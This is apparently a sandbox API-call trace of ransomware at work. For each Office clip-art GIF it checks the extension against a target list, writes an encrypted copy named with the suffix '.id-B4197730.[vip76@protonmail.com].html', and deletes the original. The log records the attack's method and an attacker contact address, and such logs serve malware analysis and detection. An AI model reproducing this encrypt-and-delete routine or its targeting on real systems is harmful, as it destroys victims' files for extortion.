	[0070.322] lstrlenW (lpString=".dbf") returned 4
	[0070.322] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0070.322] lstrlenW (lpString=".1cd") returned 4
	[0070.322] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0070.322] lstrlenW (lpString=".jpg") returned 4
	[0070.322] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.323] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.323] lstrlenW (lpString="AG00164_.GIF") returned 12
	[0070.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0070.323] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=13254) returned 1
	[0070.323] CloseHandle (hObject=0x380) returned 1
	[0070.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220
	[0070.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0070.324] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.324] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0070.324] GetLastError () returned 0x0
	[0070.324] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x33c6, lpOverlapped=0x0) returned 1
	[0070.887] WriteFile (in: hFile=0x384, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x33d0, lpOverlapped=0x0) returned 1
	[0070.888] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.888] WriteFile (in: hFile=0x384, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.888] SetEndOfFile (hFile=0x384) returned 1
	[0070.888] CloseHandle (hObject=0x384) returned 1
	[0070.898] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.899] SetEndOfFile (hFile=0x380) returned 1
	[0070.899] CloseHandle (hObject=0x380) returned 1
	[0070.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1
	[0070.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0070.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0070.900] lstrlenW (lpString=".doc") returned 4
	[0070.900] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.900] lstrlenW (lpString=".docx") returned 5
	[0070.900] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.900] lstrlenW (lpString=".pdf") returned 4
	[0070.900] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.900] lstrlenW (lpString=".xls") returned 4
	[0070.900] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.900] lstrlenW (lpString=".xlsx") returned 5
	[0070.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.900] lstrlenW (lpString=".ppt") returned 4
	[0070.900] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0070.900] lstrlenW (lpString=".zip") returned 4
	[0070.900] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.901] lstrlenW (lpString=".rar") returned 4
	[0070.901] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.901] lstrlenW (lpString=".bz2") returned 4
	[0070.901] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.901] lstrlenW (lpString=".7z") returned 3
	[0070.901] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0070.901] lstrlenW (lpString=".dbf") returned 4
	[0070.901] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0070.901] lstrlenW (lpString=".1cd") returned 4
	[0070.901] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0070.901] lstrlenW (lpString=".jpg") returned 4
	[0070.901] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0070.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0070.901] lstrlenW (lpString=".doc") returned 4
	[0070.901] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.901] lstrlenW (lpString=".docx") returned 5
	[0070.901] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.901] lstrlenW (lpString=".pdf") returned 4
	[0070.901] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.901] lstrlenW (lpString=".xls") returned 4
	[0070.901] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.901] lstrlenW (lpString=".xlsx") returned 5
	[0070.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.901] lstrlenW (lpString=".ppt") returned 4
	[0070.901] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0070.901] lstrlenW (lpString=".zip") returned 4
	[0070.901] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.901] lstrlenW (lpString=".rar") returned 4
	[0070.902] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.902] lstrlenW (lpString=".bz2") returned 4
	[0070.902] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.902] lstrlenW (lpString=".7z") returned 3
	[0070.902] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0070.902] lstrlenW (lpString=".dbf") returned 4
	[0070.902] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0070.902] lstrlenW (lpString=".1cd") returned 4
	[0070.902] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0070.902] lstrlenW (lpString=".jpg") returned 4
	[0070.902] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.902] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.902] lstrlenW (lpString="AG00174_.GIF") returned 12
	[0070.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0070.903] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3966) returned 1
	[0070.903] CloseHandle (hObject=0x380) returned 1
	[0070.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220
	[0070.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0070.903] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.903] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.907] GetLastError () returned 0x0
	[0070.907] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xf7e, lpOverlapped=0x0) returned 1
	[0070.928] WriteFile (in: hFile=0x33c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xf80, lpOverlapped=0x0) returned 1
	[0070.929] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.929] WriteFile (in: hFile=0x33c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.930] SetEndOfFile (hFile=0x33c) returned 1
	[0070.930] CloseHandle (hObject=0x33c) returned 1
	[0070.931] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.931] SetEndOfFile (hFile=0x380) returned 1
	[0070.932] CloseHandle (hObject=0x380) returned 1
	[0070.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1
	[0070.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0070.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0070.932] lstrlenW (lpString=".doc") returned 4
	[0070.932] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.932] lstrlenW (lpString=".docx") returned 5
	[0070.932] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.932] lstrlenW (lpString=".pdf") returned 4
	[0070.932] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.932] lstrlenW (lpString=".xls") returned 4
	[0070.933] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.933] lstrlenW (lpString=".xlsx") returned 5
	[0070.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.933] lstrlenW (lpString=".ppt") returned 4
	[0070.933] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0070.933] lstrlenW (lpString=".zip") returned 4
	[0070.933] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.933] lstrlenW (lpString=".rar") returned 4
	[0070.933] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.933] lstrlenW (lpString=".bz2") returned 4
	[0070.933] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.933] lstrlenW (lpString=".7z") returned 3
	[0070.933] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0070.933] lstrlenW (lpString=".dbf") returned 4
	[0070.933] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0070.933] lstrlenW (lpString=".1cd") returned 4
	[0070.933] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0070.933] lstrlenW (lpString=".jpg") returned 4
	[0070.933] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0070.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0070.933] lstrlenW (lpString=".doc") returned 4
	[0070.933] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.933] lstrlenW (lpString=".docx") returned 5
	[0070.933] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.933] lstrlenW (lpString=".pdf") returned 4
	[0070.933] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.933] lstrlenW (lpString=".xls") returned 4
	[0070.934] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.934] lstrlenW (lpString=".xlsx") returned 5
	[0070.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.934] lstrlenW (lpString=".ppt") returned 4
	[0070.934] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0070.934] lstrlenW (lpString=".zip") returned 4
	[0070.934] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.934] lstrlenW (lpString=".rar") returned 4
	[0070.934] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.934] lstrlenW (lpString=".bz2") returned 4
	[0070.934] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.934] lstrlenW (lpString=".7z") returned 3
	[0070.934] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0070.934] lstrlenW (lpString=".dbf") returned 4
	[0070.934] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0070.934] lstrlenW (lpString=".1cd") returned 4
	[0070.934] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0070.934] lstrlenW (lpString=".jpg") returned 4
	[0070.934] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.934] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.934] lstrlenW (lpString="AG00175_.GIF") returned 12
	[0070.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.942] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3378) returned 1
	[0070.942] CloseHandle (hObject=0x338) returned 1
	[0070.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220
	[0070.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.942] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.942] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.944] GetLastError () returned 0x0
	[0070.944] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xd32, lpOverlapped=0x0) returned 1
	[0070.947] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xd40, lpOverlapped=0x0) returned 1
	[0070.948] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.948] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.948] SetEndOfFile (hFile=0x320) returned 1
	[0070.948] CloseHandle (hObject=0x320) returned 1
	[0070.949] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.949] SetEndOfFile (hFile=0x338) returned 1
	[0070.950] CloseHandle (hObject=0x338) returned 1
	[0070.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1
	[0070.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0070.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0070.950] lstrlenW (lpString=".doc") returned 4
	[0070.950] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.950] lstrlenW (lpString=".docx") returned 5
	[0070.950] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.951] lstrlenW (lpString=".pdf") returned 4
	[0070.951] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.951] lstrlenW (lpString=".xls") returned 4
	[0070.951] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.951] lstrlenW (lpString=".xlsx") returned 5
	[0070.951] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.951] lstrlenW (lpString=".ppt") returned 4
	[0070.951] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0070.951] lstrlenW (lpString=".zip") returned 4
	[0070.951] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.951] lstrlenW (lpString=".rar") returned 4
	[0070.951] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.951] lstrlenW (lpString=".bz2") returned 4
	[0070.951] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.951] lstrlenW (lpString=".7z") returned 3
	[0070.951] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0070.951] lstrlenW (lpString=".dbf") returned 4
	[0070.951] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0070.951] lstrlenW (lpString=".1cd") returned 4
	[0070.951] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0070.951] lstrlenW (lpString=".jpg") returned 4
	[0070.951] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0070.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0070.951] lstrlenW (lpString=".doc") returned 4
	[0070.951] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.951] lstrlenW (lpString=".docx") returned 5
	[0070.951] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.952] lstrlenW (lpString=".pdf") returned 4
	[0070.952] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.952] lstrlenW (lpString=".xls") returned 4
	[0070.952] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.952] lstrlenW (lpString=".xlsx") returned 5
	[0070.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.952] lstrlenW (lpString=".ppt") returned 4
	[0070.952] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0070.952] lstrlenW (lpString=".zip") returned 4
	[0070.952] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.952] lstrlenW (lpString=".rar") returned 4
	[0070.952] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.952] lstrlenW (lpString=".bz2") returned 4
	[0070.952] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.952] lstrlenW (lpString=".7z") returned 3
	[0070.952] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0070.952] lstrlenW (lpString=".dbf") returned 4
	[0070.952] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
